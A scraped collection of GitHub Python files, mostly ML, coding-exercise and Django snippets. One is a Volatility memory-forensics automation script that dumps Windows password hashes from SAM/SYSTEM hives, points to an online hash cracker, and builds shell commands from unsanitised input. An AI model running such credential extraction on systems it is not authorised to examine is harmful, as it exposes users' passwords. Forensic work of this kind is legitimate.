RANDOM_FOREST_DEFAULT_TREE_COUNT, OUTPUT_DIR\nimport math as math\nimport datetime as datetime\nimport csv\nfrom technique.schwartz_classifier import SchwartzClassifier\n\n\nclass Evaluator(object):\n\n def __init__(self, all_predictor_variables, all_response_variables):\n self._all_predictor_variables = all_predictor_variables\n self._all_response_variables = all_response_variables\n self._number_of_total_observations = len(self._all_predictor_variables)\n\n def cross_validate_to_file(self, file_name=None, predictor_set_name=None, test_size_ratio=0.2, classifiers=None):\n if file_name is None:\n file_name = OUTPUT_DIR + datetime.datetime.now().strftime(\"%Y-%m-%d--%H-%M-%S\") + \".csv\"\n if predictor_set_name is None:\n predictor_set_name = \"Predictors\"\n if classifiers is None:\n number_of_training_observations = self._number_of_total_observations - int(self._number_of_total_observations * test_size_ratio)\n classifiers, classifier_names = self.get_default_classifiers(number_of_training_observations)\n\n classifier_count = len(classifiers)\n\n for i, classifer in enumerate(classifiers):\n print(\"Working On \" + classifier_names[i] + \"; #\" + str(i) + \" of \" + str(classifier_count) + \"(\" + str(i * 100 / classifier_count) + \"%); \" + \"filename: \" + file_name)\n\n schwartz_classifier = SchwartzClassifier(classifer)\n cvout = self._cross_validate_individual_classifier(schwartz_classifier, test_size_ratio)\n\n self._write_file_line(file_name, predictor_set_name, classifier_names[i], self._number_of_total_observations, test_size_ratio, cvout)\n\n def cross_validate_to_file_number_based(self, file_name=None, predictor_set_name=None, training_observations=10, classifiers=None):\n if file_name is None:\n file_name = OUTPUT_DIR + datetime.datetime.now().strftime(\"%Y-%m-%d--%H-%M-%S\") + \".csv\"\n if predictor_set_name is None:\n predictor_set_name = \"Predictors\"\n if classifiers is None:\n number_of_training_observations = training_observations\n classifiers, classifier_names = self.get_default_classifiers(number_of_training_observations)\n\n classifier_count = len(classifiers)\n\n for i, classifer in enumerate(classifiers):\n print(\"Working On \" + classifier_names[i] + \"; #\" + str(i) + \" of \" + str(classifier_count) + \"(\" + str(i * 100 / classifier_count) + \"%); \" + \"filename: \" + file_name)\n\n schwartz_classifier = SchwartzClassifier(classifer)\n cvout = self._cross_validate_individual_classifier_number(schwartz_classifier, training_observations)\n\n self._write_file_line(file_name, predictor_set_name, classifier_names[i], self._number_of_total_observations, training_observations, cvout)\n\n \n def _write_file_line(self, file_name, predictor_set_name, method, total_observations, test_size_ratio, cvout):\n with open(file_name, 'a') as csvfile:\n thewriter = csv.writer(csvfile, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n to_write = [predictor_set_name, method, str(total_observations), str(test_size_ratio)]\n to_write += [str(datum) for datum in cvout['fit_time']]\n to_write += [str(datum) for datum in cvout['score_time']]\n to_write += [str(datum) for datum in cvout['train_score']]\n to_write += [str(datum) for datum in cvout['test_score']]\n thewriter.writerow(to_write)\n\n def _cross_validate_individual_classifier(self, classifier, test_size_ratio):\n cv_options = model_selection.ShuffleSplit(n_splits=10, test_size=test_size_ratio, random_state=RANDOM_SEED)\n X = self._all_predictor_variables\n y = self._all_response_variables\n\n out = model_selection.cross_validate(classifier, X, y, scoring=\"accuracy\", cv=cv_options, return_train_score=True, verbose=1)\n return out\n \n def _cross_validate_individual_classifier_number(self, classifier, number_of_training_observations):\n \n X = self._all_predictor_variables\n y = self._all_response_variables\n \n total_observations = len(X)\n \n test_size_count = total_observations - number_of_training_observations\n \n cv_options = model_selection.ShuffleSplit(n_splits=10, test_size=test_size_count, random_state=RANDOM_SEED)\n out = model_selection.cross_validate(classifier, X, y, scoring=\"accuracy\", cv=cv_options, return_train_score=True, verbose=1)\n return out\n\n @staticmethod\n def get_default_classifiers(number_of_training_observations):\n sqrt_obs = int(math.sqrt(number_of_training_observations))\n classifiers = []\n classifier_names = []\n classifiers.append(KNeighborsClassifier(1)) # k-nn, with k=1\n classifier_names.append(\"1-NearestNeighbor\")\n classifiers.append(KNeighborsClassifier(sqrt_obs)) # k-nn, with k=sqrt(number of training observations)\n classifier_names.append(\"k-NearestNeighbors\")\n classifiers.append(GaussianNB()) # Gaussian Naive Bayes\n classifier_names.append(\"GaussianNaiveBayes\")\n classifiers.append(SVC(kernel=\"linear\", random_state=RANDOM_SEED)) # Support Vector Machine with Linear Kernel\n classifier_names.append(\"SVM-LinearKernel\")\n classifiers.append(SVC(kernel=\"rbf\", random_state=RANDOM_SEED)) # Support Vector Machine with Radial Basis Kernel\n classifier_names.append(\"SVM-RadialBasisKernel\")\n classifiers.append(DecisionTreeClassifier(random_state=RANDOM_SEED)) # Single Decision Tree\n classifier_names.append(\"DecisionTree\")\n classifiers.append(RandomForestClassifier(n_estimators=RANDOM_FOREST_DEFAULT_TREE_COUNT, random_state=RANDOM_SEED)) # Random Forest\n classifier_names.append(str(RANDOM_FOREST_DEFAULT_TREE_COUNT)+\"TreeRandomForest\")\n return classifiers, classifier_names\n","repo_name":"DeJoelson/graph-kernels","sub_path":"metrics/evaluator.py","file_name":"evaluator.py","file_ext":"py","file_size_in_byte":6331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"72388720231","text":"class Node:\n def __init__(self, value, childs=list(), parent=None):\n self.value = value\n self.childs = childs\n self.parent = parent\n\n def set_parent(self, new_parent):\n if self.parent:\n self.parent.childs.remove(self)\n self.parent = new_parent\n self.parent.childs.append(self)\n\n def add_childs(self, new_children):\n for node in new_children:\n node.set_parent(self)\n\n\ndef draw(root):\n print(root.value)\n for child in root.childs:\n draw(child)\n\n\nhead = Node(1)\nn1 = Node(2)\nhead.childs.append(n1) # .set_parent(head)\ndraw(head)\n","repo_name":"Friendly-Banana/always-be-coding","sub_path":"Algorithmes/Graphs.py","file_name":"Graphs.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"4160987962","text":"# var1=open(\"intro.txt\",\"a\")\n# var1.write(\"ayush chaturvedi\")\n# var1.close()\n# var1=open(\"intro.txt\",\"r\")\n# data=var1.read()\n# print(data)\n# var1.close()\n'''f=open(\"telephone.txt\",\"a\")\nname=input(\"enter your name : \")\nage=input(\"enter your age : \")\ncity=input(\"enter your city : \")\ndetail=\"Hi I am {} .\\n I am {} years old.\\n I live in {}.\".format(name,age,city)\nprint(detail)\nf.write(detail)\nf.close()'''\n#nextone\n# f=open(\"telephone.txt\",\"r\")\n# data=f.read()\n# print(data)\n# f.close()\n\n\n#step1\n\n\nmarks=open(\"marks.txt\",\"w\")\nstudent_name=input(\"enter student name: \")\nenglish_marks=input(\"enter your eng marks : \")\nhindi_marks=input(\"enter your hindi marks : \")\nmaths_marks=input(\"enter your maths marks : \")\ndetail=\" {},{},{},{}\".format(student_name,english_marks,hindi_marks,maths_marks)\nmarks.write(detail)\nmarks.close()\n\n#step2 : reading marks from marks.txt and calculating total and average\n\nrecord=open(\"marks.txt\",\"r\")\ndata=record.read()\nprint(data)\n\nrecord.close()\n\n# var1=open(\"hw.txt\",\"a\")\n# add=english+hindi+maths\n# detail=\"Total= {}.\".format(add)\n# print(detail)\n# var1.write(detail)\n# avg=(\"english\"+\"hindi\"+\"maths\")/3\n# detail=\"Average= {}.\".format(avg)\n# print(detail)\n# var1.write(detail)\n# var1.close()\n\n","repo_name":"Ayushch01/practice-pyton","sub_path":"filehandling.py","file_name":"filehandling.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"26228749968","text":"import open3d as o3d\nimport argparse\nimport os\nimport sys\nimport logging\nimport numpy\nimport numpy as np\nimport torch\nimport torch.utils.data\nimport torchvision\nfrom torch.utils.data import DataLoader\nfrom tensorboardX import SummaryWriter\nfrom tqdm import tqdm\n\n# Only if the files are in example folder.\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nif BASE_DIR[-8:] == 'examples':\n\tsys.path.append(os.path.join(BASE_DIR, os.pardir))\n\tos.chdir(os.path.join(BASE_DIR, os.pardir))\n\t\nfrom models import PointNet\nfrom models import Classifier\nfrom data_utils import ClassificationData, NIAData # , ModelNet40Data\n\nfrom sklearn.metrics import confusion_matrix\nfrom openpyxl import Workbook\n\ndef display_open3d(template):\n\ttemplate_ = o3d.geometry.PointCloud()\n\ttemplate_.points = o3d.utility.Vector3dVector(template)\n\t# template_.paint_uniform_color([1, 0, 0])\n\to3d.visualization.draw_geometries([template_])\n\ndef test_one_epoch(device, model, test_loader, testset):\n\twrite_wb = Workbook()\n\tsheet = write_wb.active\n\tsheet.append([\"Class_ID\", \"TP\", \"TN\", \"FP\", \"FN\", \"Accuracy\"])\n\tmodel.eval()\n\ttest_loss = 0.0\n\tpred = 0.0\n\tcount = 0\n\tlabel = []\n\tacc = [0 for i in range(4)]\n\tca_sum = [[0,0],[0,0]]\n\tfor i, data in enumerate(tqdm(test_loader)):\n\t\t\n\t\tpoints, target = data['data'], data['label']\n\t\ttarget = target #[:,0]\n\n\t\tpoints = points.to(device)\n\t\ttarget = target.to(device)\n\n\t\toutput = model(points)\n\t\tloss_val = torch.nn.functional.nll_loss(\n\t\t\ttorch.nn.functional.log_softmax(output, dim=1), target, size_average=False)\n\n\t\ttest_loss += loss_val.item()\n\t\tcount += output.size(0)\n\n\t\t_, pred1 = output.max(dim=1)\n\t\tag = (pred1 == target)\n\t\tam = ag.sum()\n\t\tpred += am.item()\n\n\ttest_loss = float(test_loss)/count\n\taccuracy = float(pred)/count\n\tprint('Total Accuracy: %f' % accuracy)\n\twrite_wb.save('accuracy.xlsx')\n\treturn test_loss, accuracy\n\ndef test(args, model, test_loader, testset):\n\ttest_loss, test_accuracy = test_one_epoch(args.device, model, test_loader, testset)\n\ndef options():\n\tparser = argparse.ArgumentParser(description='Point Cloud Registration')\n\tparser.add_argument('--dataset_path', type=str, default='new_NIA',\n\t\t\t\t\t\tmetavar='PATH', help='path to the input dataset') # like '/path/to/ModelNet40'\n\tparser.add_argument('--eval', type=bool, default=False, help='Train or Evaluate the network.')\n\n\t# settings for input data\n\tparser.add_argument('--dataset_type', default='modelnet', choices=['modelnet', 'shapenet2'],\n\t\t\t\t\t\tmetavar='DATASET', help='dataset type (default: modelnet)')\n\tparser.add_argument('--num_points', default=1024, type=int,\n\t\t\t\t\t\tmetavar='N', help='points in point-cloud (default: 1024)')\n\n\t# settings for PointNet\n\tparser.add_argument('--pointnet', default='tune', type=str, choices=['fixed', 'tune'],\n\t\t\t\t\t\thelp='train pointnet (default: tune)')\n\tparser.add_argument('-j', '--workers', default=4, type=int,\n\t\t\t\t\t\tmetavar='N', help='number of data loading workers (default: 4)')\n\tparser.add_argument('-b', '--batch_size', default=1, type=int,\n\t\t\t\t\t\tmetavar='N', help='mini-batch size (default: 32)')\n\tparser.add_argument('--emb_dims', default=1024, type=int,\n\t\t\t\t\t\tmetavar='K', help='dim. of the feature vector (default: 1024)')\n\tparser.add_argument('--symfn', default='max', choices=['max', 'avg'],\n\t\t\t\t\t\thelp='symmetric function (default: max)')\n\n\t# settings for on training\n\tparser.add_argument('--pretrained', default='checkpoints/NIA(공예,조각,건축,악기)_final/models/model.t7', type=str,\n\t\t\t\t\t\tmetavar='PATH', help='path to pretrained model file (default: null (no-use))')\n\tparser.add_argument('--device', default='cuda:1', type=str,\n\t\t\t\t\t\tmetavar='DEVICE', help='use CUDA if available')\n\tparser.add_argument('--seed', type=int, default=1234)\n\n\targs = parser.parse_args()\n\treturn args\n\ndef main():\n\targs = options()\n\t# args.dataset_path = os.path.join(os.getcwd(), os.pardir, os.pardir, 'ModelNet40', 'ModelNet40')\n\t\n\ttorch.backends.cudnn.deterministic = True\n\ttorch.manual_seed(args.seed)\n\ttorch.cuda.manual_seed_all(args.seed)\n\tnp.random.seed(args.seed)\n\n\ttestset = NIAData(loadbool=True, train=False, load=True)\n\ttest_loader = DataLoader(testset, batch_size=args.batch_size, shuffle=False, drop_last=False, num_workers=args.workers)\n\n\tif not torch.cuda.is_available():\n\t\targs.device = 'cpu'\n\targs.device = torch.device(args.device)\n\n\t# Create PointNet Model.\n\tptnet = PointNet(emb_dims=args.emb_dims, use_bn=True)\n\tmodel = Classifier(feature_model=ptnet)\n\n\tif args.pretrained:\n\t\tassert os.path.isfile(args.pretrained)\n\t\tmodel.load_state_dict(torch.load(args.pretrained, map_location='cpu'))\n\tmodel.to(args.device)\n\n\ttest(args, model, test_loader, testset)\n\nif __name__ == '__main__':\n\tmain()","repo_name":"HYER1N/NIA_K-ART","sub_path":"3D/examples/test_pointnet.py","file_name":"test_pointnet.py","file_ext":"py","file_size_in_byte":4654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"3321780592","text":"def ask_player(player):\n\n valid_cards = False\n valid_piles = False\n\n while not valid_cards:\n\n print('\\nType \"Quit\", \"Q\" or \"q\" if you cannot play!')\n\n cards = input(\"Enter list of cards (coma serparaded): \")\n\n if cards in [\"Quit\", \"Q\", \"q\"]:\n return False, False, True\n\n cards = [int(card) for card in cards.split(\",\")]\n\n for card in cards:\n if card not in player.hand:\n print(\"You do not have that card\")\n valid_cards = False\n raise ValueError(\"You do not have that card\")\n valid_cards = True\n\n while not valid_piles:\n\n piles = input(\"Enter pile number (coma separated): \")\n piles = [int(pile) for pile in piles.split(\",\")]\n\n if len(piles) != len(cards):\n continue\n for pile in piles:\n if pile not in [1, 2, 3, 4]:\n valid_piles = False\n raise ValueError(\"Pile is not correct! Pile must be 1, 2, 3 or 4\")\n valid_piles = True\n\n return piles, cards, False\n","repo_name":"aidanjungo/TheGame","sub_path":"strategies/user_interface.py","file_name":"user_interface.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"1204274640","text":"#!/usr/bin/env python\nimport os\nimport subprocess\n\nimagepath = raw_input(\"Enter the image path with the extention: \")\nprint(\"\\nGetting profile details\")\nprint(\"vol -f \" + imagepath + \" imageinfo\")\nos.system(\"vol -f \" + imagepath + \" imageinfo\")\n\nprofile = raw_input(\"\\nSelect and enter the profile you want to use: \")\nprint(\"\\nRunnung kdbg scan on \" + profile)\nprint(\"vol -f \" + imagepath + \" --profile=\" + profile + \" kdbgscan\")\nos.system(\"vol -f \" + imagepath + \" --profile=\" + profile + \" kdbgscan\")\n\noutputpath = raw_input(\"\\nEnter the path to save output files: \")\nprint(\"\\nGetting hivelist\")\nprint(\"vol -f \" + imagepath + \" --profile=\" + profile + \" hivelist\")\nhivelist = subprocess.check_output(\"vol -f \" + imagepath + \" --profile=\" + profile + \" hivelist\", shell=True)\nprint(hivelist)\nf = open(outputpath + \"/hivelist.txt\", \"w\")\nf.write(hivelist)\nf.close()\nhivesamsys = subprocess.check_output(\"cat hivelist.txt | grep -i 'config\\\\\\SYSTEM\\|config\\\\\\SAM' | wc -l\", shell=True)\nhivesamsys = (int(hivesamsys))\nif hivesamsys == 2:\n\tSYSTEM = subprocess.check_output(\"cat hivelist.txt | grep -i 'config\\\\\\SYSTEM' | cut -d ' ' -f1\", shell=True)\n\tSYSTEM = SYSTEM.strip('\\n')\n\tSAM = subprocess.check_output(\"cat hivelist.txt | grep -i 'config\\\\\\SAM' | cut -d ' ' -f1\", shell=True)\n\tSAM = SAM.strip('\\n')\n\tprint(\"\\nRunnung hashdump\")\n\tprint(\"vol -f \" + imagepath + \" --profile=\" + profile + \" hashdump -y \" + SYSTEM + \" -s \" + SAM)\n\thashdump = subprocess.call(\"vol -f \" + imagepath + \" --profile=\" + profile + \" hashdump -y \" + SYSTEM + \" -s \" + SAM, shell=True)\n\tif str(hashdump) == '0':\n\t\tprint(\"No user password found\")\n\telse:\n\t\tf = open(outputpath + \"/password.txt\", \"w\")\n\t\tf.write(hashdump)\n\t\tf.close()\n\t\tprint(hashdump)\n\t\tprint(\"You may try the hashes with a hash cracker(https://www.objectif-securite.ch)\")\n\t\t\nelse:\n\tprint(\"Skipping hashdump\")\n\nprint(\"\\nGetting pslist\")\nprint(\"vol -f \" + imagepath + \" --profile=\" + profile + \" pslist\")\npslist = subprocess.check_output(\"vol -f \" + imagepath + \" --profile=\" + profile + \" pslist\", shell=True)\nif isinstance(pslist, str):\n\tprint(pslist)\n\tf = open(outputpath + \"/pslist.txt\", \"w\")\n\tf.write(pslist)\n\tf.close()\n\nprint(\"\\nGetting pstree\")\nprint(\"vol -f \" + imagepath + \" --profile=\" + profile + \" pstree\")\npstree = subprocess.check_output(\"vol -f \" + imagepath + \" --profile=\" + profile + \" pstree\", shell=True)\nif isinstance(pstree, str):\n\tprint(pstree)\n\tf = open(outputpath + \"/pstree.txt\", \"w\")\n\tf.write(pstree)\n\tf.close()\n\nprint(\"\\nGetting psscan\")\nprint(\"vol -f \" + imagepath + \" --profile=\" + profile + \" psscan\")\npsscan = subprocess.check_output(\"vol -f \" + imagepath + \" --profile=\" + profile + \" psscan\", shell=True)\nif isinstance(psscan, str):\n\tprint(psscan)\n\tf = open(outputpath + \"/psscan.txt\", \"w\")\n\tf.write(psscan)\n\tf.close()\n\nprint(\"\\nGetting psxview\")\nprint(\"vol -f \" + imagepath + \" --profile=\" + profile + \" psxview --apply-rules\")\npsxview = subprocess.check_output(\"vol -f \" + imagepath + \" --profile=\" + profile + \" psxview --apply-rules\", shell=True)\nif isinstance(psxview, str):\n\tprint(psxview)\n\tf = open(outputpath + \"/psxview.txt\", \"w\")\n\tf.write(psxview)\n\tf.close()\n\nprint(\"\\nGetting connscan\")\nprint(\"vol -f \" + imagepath + \" --profile=\" + profile + \" connscan\")\nconnscan = subprocess.check_output(\"vol -f \" + imagepath + \" --profile=\" + profile + \" connscan\", shell=True)\nif isinstance(connscan, str):\n\tprint(connscan)\n\tf = open(outputpath + \"/connscan.txt\", \"w\")\n\tf.write(connscan)\n\tf.close()\n\nprint(\"\\nGetting netscan\")\nprint(\"vol -f \" + imagepath + \" --profile=\" + profile + \" netscan\")\nnetscan = subprocess.call(\"vol -f \" + imagepath + \" --profile=\" + profile + \" netscan\", shell=True)\nif isinstance(netscan, str):\n\tprint(netscan)\n\tf = open(outputpath + \"/netscan.txt\", \"w\")\n\tf.write(netscan)\n\tf.close()\n\nprint(\"\\nGetting malprocfind\")\nprint(\"vol -f \" + imagepath + \" --profile=\" + profile + \" malprocfind\")\nmalprocfind = subprocess.check_output(\"vol -f \" + imagepath + \" --profile=\" + profile + \" malprocfind\", shell=True)\nif isinstance(malprocfind, str):\n\tprint(malprocfind)\n\tf = open(outputpath + \"/malprocfind.txt\", \"w\")\n\tf.write(malprocfind)\n\tf.close()\n\nprint(\"\\nGetting sids\")\nprint(\"vol -f \" + imagepath + \" --profile=\" + profile + \" getsids\")\nsids = subprocess.check_output(\"vol -f \" + imagepath + \" --profile=\" + profile + \" getsids\", shell=True)\nif isinstance(sids, str):\n\tprint(sids)\n\tf = open(outputpath + \"/sids.txt\", \"w\")\n\tf.write(sids)\n\tf.close()\n\nprint(\"\\nGetting processes views\")\nprint(\"vol -f \" + imagepath + \" --profile=\" + profile + \" psscan --output=dot --output-file\")\nprocesses = subprocess.check_output(\"vol -f \" + imagepath + \" --profile=\" + profile + \" psscan --output=dot --output-file=\" + outputpath + \"/processes.dot\", shell=True)\nprint(\"You can try 'xdot /path-to-file/processes.dot' to view process list in graphically\")\n\nprint(\"\\nGetting autoruns\")\nprint(\"vol -f \" + imagepath + \" --profile=\" + profile + \" autoruns\")\nautoruns = subprocess.check_output(\"vol -f \" + imagepath + \" --profile=\" + profile + \" autoruns\", shell=True)\nif isinstance(autoruns, str):\n\tprint(autoruns)\n\tf = open(outputpath + \"/autoruns.txt\", \"w\")\n\tf.write(autoruns)\n\tf.close()\n","repo_name":"MantaRay95/MemoryAnalysis","sub_path":"pluginsautomate.py","file_name":"pluginsautomate.py","file_ext":"py","file_size_in_byte":5164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"74577598950","text":"def solution(flowers):\n answer = 0\n days = [0 for _ in range(366)]\n for flower in flowers:\n s, e = flower\n for i in range(s, e):\n days[i] += 1\n\n for day in days:\n if day != 0:\n answer += 1\n\n return answer\n\nflowers = [[2, 5], [3, 7], [10, 11]]\nprint(solution(flowers))","repo_name":"Valentino1994/dayAlgorithm","sub_path":"onedayAlgorithm/2022/Test/221126_Kakao_mobility/t1.py","file_name":"t1.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"70390758629","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\n# use heap to decide which node has smallest value (head.val, i, head)\n# create dummy node for the start of new linked list\nimport heapq\n\nclass Solution:\n def mergeKLists(self, lists: List[ListNode]) -> ListNode:\n heap = [(head.val, i, head) for i, head in enumerate(lists) if head]\n heapq.heapify(heap)\n dummy = ListNode(0)\n cur = dummy\n while heap:\n value, idx, node = heap[0]\n if not node.next:\n heapq.heappop(heap)\n else:\n heapq.heapreplace(heap, (node.next.val, idx, node.next))\n cur.next = node\n cur = cur.next\n return dummy.next\n ","repo_name":"Jerrydepon/LeetCode","sub_path":"14_heap/hard/23. Merge k Sorted Lists.py","file_name":"23. Merge k Sorted Lists.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"7729063226","text":"class BackpackTaskSolveAlgorithm:\n def __init__(self, backpack_capacity, volume_map, price_map):\n self.__backpack_capacity = backpack_capacity\n self.__volume_map = volume_map\n self.__price_map = price_map\n\n def solve(self, last_item_index=0, last_interval_map=None):\n interval_map = self.__get_interval_map(last_item_index, last_interval_map)\n if len(self.__volume_map) <= last_item_index + 1:\n return interval_map[self.__backpack_capacity]\n\n return self.solve(last_item_index + 1, interval_map)\n\n def __print(self, volume_messages):\n for index in range(0, len(volume_messages)):\n messages_info = volume_messages[index]\n if index + 1 != len(volume_messages):\n next_volume = volume_messages[index + 1][0] - 1\n else:\n next_volume = self.__backpack_capacity\n print('For ' + str(messages_info[0]) + '-' + str(next_volume) + ':')\n for key in range(0, len(messages_info[2])):\n message = messages_info[2][key]\n print(message)\n\n def __get_interval_map(self, item_index, last_interval_map=None):\n if last_interval_map is None:\n interval_map = {}\n else:\n interval_map = last_interval_map\n\n messages = []\n for volume in range(0, self.__backpack_capacity + 1):\n max_item_count = volume // self.__volume_map[item_index]\n\n if volume not in interval_map:\n item_price = max_item_count * self.__price_map[item_index]\n interval_map[volume] = [item_price, {item_index: max_item_count}]\n\n if volume not in messages:\n messages.append([volume, item_price, []])\n\n if volume == 0 or messages[-2][1] != item_price:\n messages[-1][2].append('f' + str(item_index) + '(' + str(volume) + ') = ' + str(item_price))\n elif volume != messages[-2][0]:\n messages.pop()\n\n else:\n item_count = 0\n max_price = last_interval_map[volume][0]\n for count in range(0, max_item_count + 1):\n item_volume = count * self.__volume_map[item_index]\n item_price = count * self.__price_map[item_index]\n general_price = last_interval_map[volume - item_volume][0] + item_price\n item_count_map = last_interval_map[volume - count * self.__volume_map[item_index]][1].copy()\n item_count_map[item_index] = count\n\n try:\n message = messages[-1]\n if message[0] != volume:\n messages.append([volume, item_price, []])\n except IndexError:\n messages.append([volume, item_price, []])\n\n messages[-1][2].append(' ' + str(count) + ': f' + str(item_index) + '(' + str(volume) + ') = ' + str(item_price) + ' + f' + str(item_index - 1) + '(' + str(volume - count * self.__volume_map[item_index]) + ') = ' + str(general_price))\n\n if max_price <= general_price:\n item_count = count\n max_price = general_price\n continue\n\n interval_map[volume][0] = max_price\n item_count_map = last_interval_map[volume - item_count * self.__volume_map[item_index]][1].copy()\n item_count_map[item_index] = item_count\n interval_map[volume][1] = item_count_map\n\n if volume == 0 or messages[-2][1] != max_price:\n messages[-1][2].append('max: f' + str(item_index) + '(' + str(volume) + ') = ' + str(max_price))\n messages[-1][1] = max_price\n elif volume != messages[-2][0]:\n messages.pop()\n\n self.__print(messages)\n return interval_map\n\n\nalgorithm = BackpackTaskSolveAlgorithm(84, [25, 21, 17, 12], [99, 82, 56, 21])\nprint(algorithm.solve())\n","repo_name":"makar3002/CyberLaba3","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"13025998723","text":"\"\"\"\n55. How to reshape a dataframe to the largest possible square after removing the negative values?\n\"\"\"\n\"\"\"\nDifficulty Level: L3\n\"\"\"\n\"\"\"\nReshape df to the largest possible square with negative values removed. Drop the smallest values if need be. The order of the positive numbers in the result should remain the same as the original.\n\"\"\"\n\"\"\"\nInput\n\"\"\"\n\"\"\"\ndf = pd.DataFrame(np.random.randint(-20, 50, 100).reshape(10,-1))\n\"\"\"\n\n# Input\ndf = pd.DataFrame(np.random.randint(-20, 50, 100).reshape(10,-1))\nprint(df)\n\n# Solution\n# Step 1: remove negative values from arr\narr = df[df > 0].values.flatten()\narr_qualified = arr[~np.isnan(arr)]\n\n# Step 2: find side-length of largest possible square\nn = int(np.floor(arr_qualified.shape[0]**.5))\n\n# Step 3: Take top n^2 items without changing positions\ntop_indexes = np.argsort(arr_qualified)[::-1]\noutput = np.take(arr_qualified, sorted(top_indexes[:n**2])).reshape(n, -1)\nprint(output)","repo_name":"mottaquikarim/pydev-psets","sub_path":"pset_pandas_ext/101problems/solutions/p55.py","file_name":"p55.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"71"} +{"seq_id":"26653336967","text":"from tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense\nimport numpy as np\nfrom numpy import array\n\n#np.array()\n#array()\n\n#1. data - 데이터 자르기(슬라이싱: 통데이터때 활용할 줄 알아야함)\nx=np.array(range(1,101)) # 1 ~ 100 # x = np.array(range(100)) # 0 ~ 99\n#print(x) #이렇게 하면 뒷자리 101에서-1 되서 100까지 나온다.\n\ny= np.array(range(101,201))\n\nx_train=x[:60] \n# : 이 뜻은 처음부터 60까지 라는 뜻-> 이거는 랭지와 다르게 순서0~59번째까지 이므로 값은1~60이다.\nx_val=x[60:80] #79번째 값이 80, 59번째 값이 60, 따라서 61~80이다.\nx_test=x[80:] #81~100 ->x의 끝값이 100까지 이므로\n#즉 위에는 리스트의 슬라이싱이라고 한다.\n\ny_train=y[:60] \ny_val=y[60:80]\ny_test=y[80:] \n#밑에 validation_split이미 했으므로 validation_data로 바꿔준다.\n\n#따옴표 원하는 구간 위,아래 3개씩 하면 주석된다.\n\nx_train=np.array([1,2,3,4,5,6,7,8,9,10])\ny_train=np.array([1,2,3,4,5,6,7,8,9,10])\n\nx_test= array([11,12,13,14,15]) #validation 넣을 수 있다.\ny_test= array([11,12,13,14,15]) #from numpy import array 언급 위에 했으으로 array만 해도된다.\n\nx_pred=array([16,17,18]) #y값 알고 싶어서 이것만 한다.\n\n#2. modeling\nmodel=Sequential()\nmodel.add(Dense(10, input_dim=1, activation='relu'))\nmodel.add(Dense(5))\nmodel.add(Dense(1))\n\n#3. compile, training\nmodel.compile(loss='mse',optimizer='adam', metrics=['mae'])\nmodel.fit(x_train, y_train, epochs=100,batch_size=1, validation_data=(x_val, y_val))\n# x_train, y_train을 validation_split=0.2로 20%를 나누어(쪼개어)쓰겠다. train에 80%준것\n\n# 4. evaluate, predict\nresult = model.evaluate(x_test, y_test, batch_size=1)\n#result에는 loss(-> mse), matrix(-> mae)가 들어간다.\n# print(\"result : \", result)\nprint(\"mse, mae : \", result)\ny_predict=model.predict(x_test)\n#print(\"y_predict :\", y_predict)\n\n#사이킷런\nfrom sklearn.metrics import mean_squared_error\n# def 뜻 RMSE라는 함수 ��의 하겠다는 뜻 \ndef RMSE(y_test, y_predict):\n return np.sqrt(mean_squared_error(y_test, y_predict))\n# def 뜻 RMSE라는 함수 정의 하겠다는 뜻 \n#파이썬을 줄바꿈으로 점위를 표시한다. return줄 바꿈한 것보기\n#mean_squared_error와 mse가 비슷한 의미로 쓰임\n\nprint(\"RMSE : \", RMSE(y_test,y_predict)) #MSE,mae RMSE가 결과값으로 나온다.\n#print(\"mse: \",mean_squared_error(y_test, y_predict))\nprint(\"mse: \",mean_squared_error(y_predict, y_test))\n\n#R2\nfrom sklearn.metrics import r2_score\nr2 = r2_score(y_test, y_predict)\nprint(\"R2 : \", r2)\n","repo_name":"seoyoungs/Study","sub_path":"keras/keras08.split.py","file_name":"keras08.split.py","file_ext":"py","file_size_in_byte":2631,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"71"} +{"seq_id":"43180180580","text":"from django.contrib.auth import get_user_model\nfrom django.shortcuts import get_object_or_404\nfrom rest_framework import filters\nfrom rest_framework import generics\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\n\nUser = get_user_model()\nfrom contact.models import Contact\nfrom .serializers import contactserializer, contact1serializer\n\n\nclass SearchContact(generics.ListAPIView):\n\n filter_backends = (filters.SearchFilter,)\n queryset = Contact.objects.all()\n serializer_class = contactserializer\n\n def list(self, request, *args, **kwargs):\n query = request.query_params.get('search')\n context = {}\n data = {}\n if query.isnumeric():\n lis = Contact.objects.filter(Phone_number=query)\n for i in lis:\n if i.Registered_user:\n context['success'] = True\n context['status'] = 200\n context['message'] = \"successfully get\"\n serializer = contactserializer(i)\n data = serializer.data\n context['data'] = data\n return Response(context)\n serializer = contactserializer(lis, many=True)\n context['success'] = True\n context['status'] = 200\n context['message'] = \"successfully get\"\n context['count'] = lis.count()\n data = serializer.data\n context['data'] = data\n return Response(context)\n else:\n context['success'] = True\n 